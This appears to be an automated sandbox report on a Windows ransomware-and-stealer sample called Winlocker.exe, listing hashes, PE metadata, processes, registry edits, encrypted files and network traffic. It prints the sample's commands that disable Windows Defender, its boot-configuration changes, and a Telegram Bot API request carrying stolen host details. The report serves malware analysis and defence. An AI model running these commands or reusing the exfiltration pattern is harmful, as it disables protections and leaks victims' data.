| File name: | Winlocker.exe |
| Full analysis: | https://app.any.run/tasks/941611c7-ab97-43e0-9af4-7243ae2bec3c |
| Verdict: | Malicious activity |
| Threats: | Stealers are a group of malicious software that are intended for gaining unauthorized access to users’ information and transferring it to the attacker. The stealer malware category includes various types of programs that focus on their particular kind of data, including files, passwords, and cryptocurrency. Stealers are capable of spying on their targets by recording their keystrokes and taking screenshots. This type of malware is primarily distributed as part of phishing campaigns. |
| Analysis date: | March 29, 2026, 14:43:42 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32+ executable (GUI) x86-64, for MS Windows, 9 sections |
| MD5: | 98C1437726503690A12267BE794A59A9 |
| SHA1: | 2CADE76804615C65C33973D34E04865C009A9B57 |
| SHA256: | A113585F00696C7327979AE04A0D73611E099DE357345CC21B4644F022233497 |
| SSDEEP: | 98304:KIBGB5iWMUvIUckcWbZogG+mxwCMVuqnQjZ3AjQQTVQaORSVyZDy7k7pYi5FVKzf:uqXUN43jfd/BPvg |
| .exe | | | Generic Win/DOS Executable (50) |
|---|---|---|
| .exe | | | DOS Executable Generic (49.9) |
| MachineType: | AMD AMD64 |
|---|---|
| TimeStamp: | 2026:03:03 18:52:00+00:00 |
| ImageFileCharacteristics: | Executable, Large address aware |
| PEType: | PE32+ |
| LinkerVersion: | 14.44 |
| CodeSize: | 6700544 |
| InitializedDataSize: | 3348480 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x5c5e20 |
| OSVersion: | 6 |
| ImageVersion: | - |
| SubsystemVersion: | 6 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 1.0.0.0 |
| ProductVersionNumber: | 1.0.0.0 |
| FileFlagsMask: | 0x003f |
| FileFlags: | (none) |
| FileOS: | Win32 |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | Neutral |
| CharacterSet: | Unicode |
| CompanyName: | Winlocker |
| FileDescription: | Winlocker |
| FileVersion: | 1.0.0.0 |
| InternalName: | Winlocker.dll |
| LegalCopyright: | |
| OriginalFileName: | Winlocker.dll |
| ProductName: | Winlocker |
| ProductVersion: | 1.0.0 |
| AssemblyVersion: | 1.0.0.0 |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1176 | sc config WinDefend start= disabled | C:\Windows\System32\sc.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Service Control Manager Configuration Tool Exit code: 5 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2016 | "cmd.exe" /c sc config WinDefend start= disabled | C:\Windows\System32\cmd.exe | — | Winlocker.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 5 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2116 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2164 | takeown /F "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /R /D Y | C:\Windows\System32\takeown.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Takes ownership of a file Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2268 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2452 | "C:\Users\admin\AppData\Local\Temp\Winlocker.exe" | C:\Users\admin\AppData\Local\Temp\Winlocker.exe | Winlocker.exe | ||||||||||||
User: admin Company: Winlocker Integrity Level: HIGH Description: Winlocker Version: 1.0.0.0 Modules
| |||||||||||||||
| 2676 | "cmd.exe" /c takeown /F "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /R /D Y | C:\Windows\System32\cmd.exe | — | Winlocker.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2724 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2792 | sc stop Sense | C:\Windows\System32\sc.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Service Control Manager Configuration Tool Exit code: 1062 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2812 | "cmd.exe" /c sc stop WdNisSvc | C:\Windows\System32\cmd.exe | — | Winlocker.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 5 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| (PID) Process: | (2452) Winlocker.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender |
| Operation: | write | Name: | DisableAntiSpyware |
Value: 1 | |||
| (PID) Process: | (2452) Winlocker.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender |
| Operation: | write | Name: | DisableRealtimeMonitoring |
Value: 1 | |||
| (PID) Process: | (2452) Winlocker.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender |
| Operation: | write | Name: | DisableBehaviorMonitoring |
Value: 1 | |||
| (PID) Process: | (2452) Winlocker.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender |
| Operation: | write | Name: | DisableOnAccessProtection |
Value: 1 | |||
| (PID) Process: | (2988) bcdedit.exe | Key: | HKEY_LOCAL_MACHINE\BCD00000000\Objects\{872a075f-9aa9-11f0-b4fb-806e6f6e6963}\Elements\11000001 |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (2988) bcdedit.exe | Key: | HKEY_LOCAL_MACHINE\BCD00000000\Objects\{872a075f-9aa9-11f0-b4fb-806e6f6e6963}\Elements\11000001 |
| Operation: | write | Name: | Element |
Value: 0000000000000000000000000000000006000000000000004800000000000000715E5C2FA985EB1190A89A9B763584210000000000000000745E5C2FA985EB1190A89A9B7635842100000000000000000000000000000000 | |||
| (PID) Process: | (2988) bcdedit.exe | Key: | HKEY_LOCAL_MACHINE\BCD00000000\Objects\{872a075f-9aa9-11f0-b4fb-806e6f6e6963}\Elements\12000002 |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (2988) bcdedit.exe | Key: | HKEY_LOCAL_MACHINE\BCD00000000\Objects\{872a075f-9aa9-11f0-b4fb-806e6f6e6963}\Elements\12000002 |
| Operation: | write | Name: | Element |
Value: \EFI\Boot\Loader.efi | |||
| (PID) Process: | (2988) bcdedit.exe | Key: | HKEY_LOCAL_MACHINE\BCD00000000\Objects\{a5a30fa2-3d06-4e9f-b5f4-a01df9d1fcba}\Description |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (2988) bcdedit.exe | Key: | HKEY_LOCAL_MACHINE\BCD00000000\Objects\{a5a30fa2-3d06-4e9f-b5f4-a01df9d1fcba}\Elements\24000001 |
| Operation: | delete key | Name: | (default) |
Value: | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3536 | ReAgentc.exe | C:\Windows\System32\Recovery\Winre.wim | — | |
MD5:— | SHA256:— | |||
| 2452 | Winlocker.exe | C:\Users\admin\AppData\Roaming\RtkAudUService.exe | executable | |
MD5:98C1437726503690A12267BE794A59A9 | SHA256:A113585F00696C7327979AE04A0D73611E099DE357345CC21B4644F022233497 | |||
| 3536 | ReAgentc.exe | C:\Windows\System32\Recovery\ReAgent.xml | xml | |
MD5:44B2DA39CEB2C183D5DCD43AA128C2DD | SHA256:894EE2B19608D10DF4BF8B8F5BBCF40CE38C09C1F4C5543B6164F40C04BB270D | |||
| 2452 | Winlocker.exe | C:\Windows\System32\drivers\etc\hosts | text | |
MD5:727C97C003A0457B1B599ED25A0D0BFF | SHA256:A71F62C9B0931FD05D8D4F97B086525DA81965890433CCA4B3F1929C696CC256 | |||
| 3536 | ReAgentc.exe | C:\Windows\Panther\UnattendGC\diagerr.xml | text | |
MD5:3A8D2D92D67445734789F82D6E6D90A6 | SHA256:E80AA5A43C517844228A67E8A49E30EE8CF68979E54BA0A3FE660C80978808C6 | |||
| 2452 | Winlocker.exe | C:\Users\admin\Desktop\commissiongrand.png.dominated | binary | |
MD5:066819BD0423762961D54456923F452B | SHA256:4DAD30A27A44D39AA791C76F7276E725275B1F6B55B641864418DBD2B80E2B8D | |||
| 2452 | Winlocker.exe | C:\Users\admin\Desktop\loansfri.jpg.dominated | binary | |
MD5:77987022000DAD0D21770E700670A1D6 | SHA256:92F66CCDE2E2C68E8F1A2F0F3BCD868FA92FE24B12C88010FDEEECD3DB7F241E | |||
| 3536 | ReAgentc.exe | \\?\Volume{2f5c5e71-85a9-11eb-90a8-9a9b76358421}\EFI\Microsoft\Recovery\BCD | binary | |
MD5:5ED9D938750AA1E94A5BFC97B63847F5 | SHA256:120B2ECEDD61446F575EB39C54EB7261223D0D9F2A4A3510A4983D27258AA8FF | |||
| 3536 | ReAgentc.exe | C:\Windows\Logs\ReAgent\ReAgent.log | text | |
MD5:31584D53C8C53CF2B511083EE77E4A42 | SHA256:F606397F73B504E36CA2790D6AD5BB707A9B980ADC3DF6C30CF64FA3505ECD14 | |||
| 2452 | Winlocker.exe | C:\Users\admin\Pictures\creativeadd.png.dominated | binary | |
MD5:B2922D89F0968311159A045492D19A7C | SHA256:84BE530DA798D68608EE47FCDAB98DE6B8EE685CDF12CDA0579E2A0110F708EE | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
5276 | MoUsoCoreWorker.exe | GET | 304 | 20.73.194.208:443 | https://settings-win.data.microsoft.com/settings/v3.0/OneSettings/Client?OSVersionFull=10.0.19045.4046.amd64fre.vb_release.191206-1406&LocalDeviceID=s%3ABAD99146-31D3-4EC6-A1A4-BE76F32BA5D4&FlightRing=Retail&AttrDataVer=186&OSUILocale=en-US&OSSkuId=48&App=WOSC&AppVer=&IsFlightingEnabled=0&TelemetryLevel=1&DeviceFamily=Windows.Desktop | US | — | — | whitelisted |
2452 | Winlocker.exe | GET | 404 | 149.154.166.110:443 | https://api.telegram.org/bot/sendMessage?chat_id=&text=%F0%9F%9A%A8%20%D0%9D%D0%9E%D0%92%D0%90%D0%AF%20%D0%96%D0%95%D0%A0%D0%A2%D0%92%D0%90%20%D0%97%D0%90%D0%A5%D0%92%D0%90%D0%A7%D0%95%D0%9D%D0%90%20ABSOLUTE%20DOMINATION%20%F0%9F%9A%A8%0A%0A%F0%9F%92%BB%20%D0%98%D0%BC%D1%8F%20%D1%85%D0%BE%D1%81%D1%82%D0%B0%3A%20DESKTOP-JGLLJLD%0A%F0%9F%8C%90%20IP%20%D0%B0%D0%B4%D1%80%D0%B5%D1%81%3A%20192.168.100.5%0A%F0%9F%91%A4%20%D0%9F%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D1%8C%3A%20DESKTOP-JGLLJLD%5Cadmin%0A%F0%9F%96%A5%EF%B8%8F%20%D0%A1%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0%3A%20Microsoft%20Windows%20NT%2010.0.19045.0%0A%0A%E2%9A%99%EF%B8%8F%20%D0%A1%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0%20%D1%83%D1%81%D0%BF%D0%B5%D1%88%D0%BD%D0%BE%20%D0%B7%D0%B0%D0%B1%D0%BB%D0%BE%D0%BA%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B0.%20%D0%9E%D0%B6%D0%B8%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5%20%D0%BF%D0%B0%D1%80%D0%BE%D0%BB%D1%8F...%0A%0A%E2%8F%B3%20%D0%9D%D0%B0%D1%87%D0%B0%D0%BB%D0%BE%D1%81%D1%8C%20%D1%88%D0%B8%D1%84%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5... | VG | text | 55 b | malicious |
5316 | svchost.exe | POST | 200 | 20.190.159.129:443 | https://login.live.com/RST2.srf | US | xml | 1.24 Kb | whitelisted |
5316 | svchost.exe | POST | 400 | 20.190.159.129:443 | https://login.live.com/ppsecure/deviceaddcredential.srf | US | text | 203 b | whitelisted |
2452 | Winlocker.exe | GET | 404 | 149.154.166.110:443 | https://api.telegram.org/bot/sendMessage?chat_id=&text=%E2%9C%85%20%D0%A8%D0%B8%D1%84%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5%20%D0%B7%D0%B0%D0%B2%D0%B5%D1%80%D1%88%D0%B5%D0%BD%D0%BE.%20%D0%92%D1%81%D0%B5%D0%B3%D0%BE%20%D0%BE%D0%B1%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%B0%D0%BD%D0%BE%3A%2010%20%D1%84%D0%B0%D0%B9%D0%BB%D0%BE%D0%B2. | VG | text | 55 b | unknown |
5316 | svchost.exe | POST | 400 | 20.190.159.129:443 | https://login.live.com/ppsecure/deviceaddcredential.srf | US | text | 203 b | whitelisted |
5316 | svchost.exe | POST | 400 | 20.190.159.129:443 | https://login.live.com/ppsecure/deviceaddcredential.srf | US | text | 203 b | whitelisted |
5316 | svchost.exe | POST | 400 | 20.190.159.129:443 | https://login.live.com/ppsecure/deviceaddcredential.srf | US | text | 203 b | whitelisted |
5316 | svchost.exe | GET | 200 | 23.11.41.157:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAz1vQYrVgL0erhQLCPM8GY%3D | NL | binary | 471 b | whitelisted |
4960 | SIHClient.exe | GET | 304 | 135.233.95.144:443 | https://slscr.update.microsoft.com/SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.4046/0?CH=686&L=en-US&P=&PT=0x30&WUA=10.0.19041.3996&MK=DELL&MD=DELL | US | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
5484 | svchost.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
4 | System | 192.168.100.255:137 | — | Not routed | — | whitelisted |
5276 | MoUsoCoreWorker.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
— | — | 48.192.1.65:443 | activation-v2.sls.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
4 | System | 192.168.100.255:138 | — | Not routed | — | whitelisted |
3428 | svchost.exe | 172.211.123.248:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
2452 | Winlocker.exe | 149.154.166.110:443 | api.telegram.org | TELEGRAM | VG | malicious |
5316 | svchost.exe | 20.190.159.129:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
5316 | svchost.exe | 23.11.41.157:80 | ocsp.digicert.com | AKAMAI-AMS | NL | whitelisted |
5484 | svchost.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
activation-v2.sls.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
api.telegram.org |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
2232 | svchost.exe | Misc activity | ET HUNTING Telegram API Domain in DNS Lookup |
2452 | Winlocker.exe | Misc activity | ET HUNTING Telegram API Certificate Observed |
2452 | Winlocker.exe | Misc activity | ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI) |
2452 | Winlocker.exe | Potentially Bad Traffic | SUSPICIOUS [ANY.RUN] Telegram Bot API request (/sendMessage) |
2452 | Winlocker.exe | Misc activity | ET HUNTING Telegram API Request (GET) |
2452 | Winlocker.exe | A Network Trojan was detected | STEALER [ANY.RUN] Generic Stealer Data Exfil via Telegram API (PC name) |
2452 | Winlocker.exe | Potentially Bad Traffic | SUSPICIOUS [ANY.RUN] User IP address exfil via Telegram API |
2452 | Winlocker.exe | A Network Trojan was detected | STEALER [ANY.RUN] Generic Stealer Data Exfil via Telegram API (OS info) |
2452 | Winlocker.exe | Misc activity | ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI) |
2452 | Winlocker.exe | Misc activity | ET HUNTING Telegram API Request (GET) |